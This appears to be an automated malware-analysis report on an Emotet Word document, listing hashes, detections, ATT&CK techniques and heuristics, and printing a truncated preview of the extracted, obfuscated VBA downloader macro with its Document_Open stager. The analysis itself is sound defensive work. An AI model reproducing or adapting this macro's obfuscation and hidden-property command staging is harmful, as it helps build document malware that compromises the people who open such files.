Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 3a166526f30cadaa…

MALICIOUS

Office (OLE)

184.7 KB Created: 2019-12-17 06:30:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: c6ea62a2543c1c0096c09b5e4a28816f SHA-1: c579fcbddd36e1b0baad81661d7e1190b9c52e60 SHA-256: 3a166526f30cadaa7d498b44d42a1644396bf654c88d4435b415bd00d6430660
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious activity. ClamAV detection confirms this, identifying it as Doc.Downloader.Emotet. The presence of these elements strongly suggests the macro is designed to download and execute a secondary payload, a common tactic for the Emotet family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9723 bytes
SHA-256: ebb7c2763ac4bd0cead15b5b73f209736c8c86dda99a8550c3c8599dcb335a54
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xmcfuxbsv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ftbnehhnwkyvk, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Xyxoxchzurfky = Tyloxttoql To Ktcgnhhbozhr
         Qptwphfkncz = Fejgcgixgsk
         Rovtqtli = Vuwkozfzh
Next
Select Case Cxeteluskxie
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Otctntrv = Gqktwmrn To Tqfmkbmdgtaer
         Hvancgvaqv = Jzbyqviiyo
         Lhnoqbbzm = Rradtxpoqep
Next
Select Case Fvjjipns
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Axrpddltrrtpc = Nrgwgahel To Fgzltjjzatkt
         Wzswaoxgbsnjr = Tsgpjxftgyjgc
         Cxwakbphlk = Fhyjsjbhbedby
Next
Select Case Myqiumopp
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Nfryowdqzvu
End Sub

Attribute VB_Name = "Gizmodsb"
Attribute VB_Base = "0{C282382F-F4EF-42E7-9EEB-30487D679B9F}{4909D658-80CF-479A-B8E9-B655CE708E4B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Orpgdezh"
Function Aotbtuvgdhe()
   For Uougccayzu = Mnbmdoxea To Wcohcfrljy
         Cclluadbf = Zwrmozeq
         Fxeovxsij = Wezksddexo
Next
Select Case Yoklsclfhg
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Lwddoikerebu = Xmcfuxbsv.Ftbnehhnwkyvk
   For Wgwqjpkkq = Khylzdetubjkt To Gzjxxclrjmpzg
         Efaakolp = Opfgmvczlik
         Mwzpozjdymtw = Tgiujvijnf
Next
Select Case Qnauyqelndkyx
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Oywzqajxxll = Lwddoikerebu + Gizmodsb.Fdujngxejprps + Gizmodsb.Yfifnhpc + Gizmodsb.Ekehcasree
   For Msqmvfqs = Rhvljwplmy To Mpawqradpl
         Vzzcyqcywc = Dothogio
         Gbmzoyrh = Iipkxnnwv
Next
Select Case Kvxscxtpjc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Nayqpehfcdhcv = Oywzqajxxll + Gizmodsb.Vwugguduxexty + Gizmodsb.Xqckgqrb
   For Lhjnpevnhoxug = Dohahyhjavwk To Ntfduolgorszw
         Eyffjonp = Zeyjsstkqu
         Qljjxzqhicth = Rfbizeksvkmww
Next
Select Case Pftgmhtwzqozn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(
... (truncated)

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